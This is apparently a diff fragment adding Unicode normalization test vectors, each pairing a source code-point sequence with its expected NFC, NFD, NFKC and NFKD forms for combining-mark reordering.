+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082A, 0x0062], NFC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082B, 0x0062], NFC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082C, 0x0062], NFC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x082D, 0x0062], NFC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x082D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x082D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x082D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x082D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0859, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0859, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0859, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0859, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0859, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0859, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0859, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0859, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0859, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0859, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x085A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x085A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x085A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x085A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x085A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x085A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x085A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x085A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x085A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x085B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x085B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x085B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x085B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x085B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x085B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x085B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x085B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x085B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x085B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0898, 0x0062], NFC: [0x00E0, 0x05AE, 0x0898, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0898, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0898, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0898, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0898, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0898, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0898, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0898, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0898, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0899, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0899, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0899, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0899, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0899, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0899, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0899, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0899, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0899, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0899, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x089A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x089A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x089A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x089A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x089A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x089A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x089A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x089A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x089A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x089A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x089B, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x089B, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x089B, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x089B, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x089B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x089B, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x089B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x089B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x089B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x089B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x089C, 0x0062], NFC: [0x00E0, 0x05AE, 0x089C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x089C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x089C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x089C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x089C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x089C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x089C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x089C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x089C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x089D, 0x0062], NFC: [0x00E0, 0x05AE, 0x089D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x089D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x089D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x089D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x089D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x089D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x089D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x089D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x089D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x089E, 0x0062], NFC: [0x00E0, 0x05AE, 0x089E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x089E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x089E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x089E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x089E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x089E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x089E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x089E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x089E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x089F, 0x0062], NFC: [0x00E0, 0x05AE, 0x089F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x089F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x089F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x089F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x089F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x089F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x089F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x089F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x089F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08CA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08CA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08CA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08CA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08CA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08CA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08CA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08CA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08CA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08CA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08CB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08CB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08CB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08CB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08CB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08CB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08CB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08CB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08CB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08CB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08CC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08CC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08CC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08CC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08CC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08CC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08CC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08CC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08CC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08CC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08CD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08CD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08CD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08CD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08CD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08CD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08CD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08CD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08CD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08CD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08CE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08CE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08CE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08CE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08CE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08CE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08CE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08CE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08CE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08CE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08CF, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08CF, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08CF, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08CF, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08CF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08CF, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08CF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08CF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08CF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08CF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08D0, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08D0, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08D0, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08D0, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08D0, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08D0, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08D0, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08D0, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08D0, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08D0, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08D1, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08D1, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08D1, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08D1, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08D1, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08D1, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08D1, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08D1, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08D1, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08D1, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08D2, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08D2, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08D2, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08D2, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08D2, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08D2, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08D2, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08D2, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08D2, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08D2, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x08D3, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x08D3, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x08D3, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x08D3, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x08D3, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08D3, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x08D3, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x08D3, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x08D3, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x08D3, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D6, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D6, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D6, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D6, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D6, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08D9, 0x0062], NFC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08D9, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08D9, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08D9, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08D9, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DA, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DA, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DA, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DA, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DA, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08DD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08DD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08DE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08DE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08DE, 0x0315, 0x0062] },
